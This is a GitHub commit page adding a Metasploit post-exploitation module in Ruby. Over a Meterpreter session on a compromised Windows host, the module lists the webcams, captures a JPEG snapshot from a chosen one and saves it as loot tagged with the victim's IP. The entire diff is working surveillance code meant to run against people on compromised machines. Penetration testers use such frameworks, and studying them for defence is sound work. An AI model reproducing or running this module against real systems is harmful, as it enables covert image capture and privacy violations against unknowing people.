Skip to content

Commit 40ba075

Browse files
committed
Implements the webcam feature as a post mod
As a post mod, we can deploy the webcam feature more easily against multiple sessions in the web gui.
1 parent 51ef369 commit 40ba075

File tree

1 file changed

+135
-0
lines changed

1 file changed

+135
-0
lines changed

modules/post/windows/manage/webcam.rb

Lines changed: 135 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,135 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
require 'rex'
10+
11+
class Metasploit3 < Msf::Post
12+
13+
include Msf::Auxiliary::Report
14+
15+
def initialize(info={})
16+
super(update_info(info,
17+
'Name' => 'Windows Manage Webcam',
18+
'Description' => %q{
19+
This module will allow you to these things with your target's webcam: detect,
20+
take a snapshot.
21+
},
22+
'License' => MSF_LICENSE,
23+
'Author' => [ 'sinn3r'],
24+
'Platform' => [ 'win'],
25+
'SessionTypes' => [ "meterpreter" ],
26+
'Actions' =>
27+
[
28+
[ 'LIST', { 'Description' => 'Show a list of webcams' } ],
29+
[ 'SNAPSHOT', { 'Description' => 'Take a snapshot with the webcam' } ]
30+
],
31+
'DefaultAction' => 'LIST'
32+
))
33+
34+
register_options(
35+
[
36+
OptInt.new('INDEX', [false, 'The index of the webcam to use', 1]),
37+
OptInt.new('QUALITY', [false, 'The JPEG image quality', 50])
38+
], self.class)
39+
end
40+
41+
42+
def run
43+
if client.nil?
44+
print_error("Invalid session ID selected. Make sure the host isn't dead.")
45+
return
46+
end
47+
48+
if not action
49+
print_error("Invalid action")
50+
return
51+
end
52+
53+
case action.name
54+
when /^list$/i
55+
list_webcams(true)
56+
when /^snapshot$/i
57+
snapshot
58+
end
59+
end
60+
61+
62+
def rhost
63+
client.sock.peerhost
64+
end
65+
66+
67+
def snapshot
68+
webcams = list_webcams
69+
70+
if webcams.empty?
71+
print_error("#{rhost} - No webcams found")
72+
return
73+
end
74+
75+
if not webcams[datastore['INDEX']-1]
76+
print_error("#{rhost} - No such index: #{datastore['INDEX'].to_s}")
77+
return
78+
end
79+
80+
buf = nil
81+
82+
begin
83+
print_status("#{rhost} - Starting...")
84+
client.webcam.webcam_start(datastore['INDEX'])
85+
86+
buf = client.webcam.webcam_get_frame(datastore['QUALITY'])
87+
if buf
88+
print_status("#{rhost} - Got frame")
89+
90+
p = store_loot(
91+
"#{rhost}.webcam.snapshot",
92+
'application/octet-stream',
93+
rhost,
94+
buf,
95+
"#{rhost}_snapshot.jpg",
96+
"#{rhost} Webcam Snapshot"
97+
)
98+
99+
print_good("#{rhost} - Snapshot saved: #{p}")
100+
end
101+
102+
client.webcam.webcam_stop
103+
print_status("#{rhost} - Stopped")
104+
rescue Rex::Post::Meterpreter::RequestError => e
105+
print_error(e.message)
106+
return
107+
end
108+
end
109+
110+
111+
def list_webcams(show=false)
112+
begin
113+
webcams = client.webcam.webcam_list
114+
rescue Rex::Post::Meterpreter::RequestError
115+
webcams = []
116+
end
117+
118+
if show
119+
tbl = Rex::Ui::Text::Table.new(
120+
'Header' => 'Webcam List',
121+
'Indent' => 1,
122+
'Columns' => ['Index', 'Name']
123+
)
124+
125+
webcams.each_with_index do |name, indx|
126+
tbl << [(indx+1).to_s, name]
127+
end
128+
129+
print_line(tbl.to_s)
130+
end
131+
132+
return webcams
133+
end
134+
135+
end

0 commit comments

Comments
 (0)